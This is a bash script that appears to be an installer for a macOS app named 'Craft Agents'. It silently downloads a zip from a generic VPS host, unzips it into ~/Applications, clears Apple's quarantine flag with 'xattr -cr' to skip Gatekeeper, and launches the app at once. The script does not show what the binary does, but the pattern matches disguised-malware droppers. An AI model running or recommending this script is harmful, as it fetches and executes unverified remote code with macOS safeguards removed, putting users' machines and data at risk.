#!/bin/bash

# Craft Agents Installation Script

set -e

# Detect architecture (Apple Silicon vs Intel)
ARCH=$(uname -m)
if [ "$ARCH" = "arm64" ]; then
    URL="https://releases.srv1066566.hstgr.cloud/Craft-Agent-arm64.zip"
else
    URL="https://releases.srv1066566.hstgr.cloud/Craft-Agent-x64.zip"
fi

ZIP_PATH="/tmp/Craft-Agent.zip"
APP_DIR="$HOME/Applications"
mkdir -p "$APP_DIR"
APP_PATH="$APP_DIR/Craft Agents.app"

echo "🚀 Downloading Craft Agents for $ARCH..."
curl -sL $URL -o "$ZIP_PATH"

echo "📦 Installing to Applications folder..."
# If the app exists, remove it first to avoid permission issues during unzip
if [ -d "$APP_PATH" ]; then
    rm -rf "$APP_PATH"
fi

unzip -qo "$ZIP_PATH" -d "$APP_DIR"

echo "🔓 Removing Apple's download quarantine flag..."
xattr -cr "$APP_PATH"

echo "🧹 Cleaning up..."
rm "$ZIP_PATH"

echo "✅ Installation complete! Launching Craft Agents..."
open "$APP_PATH"
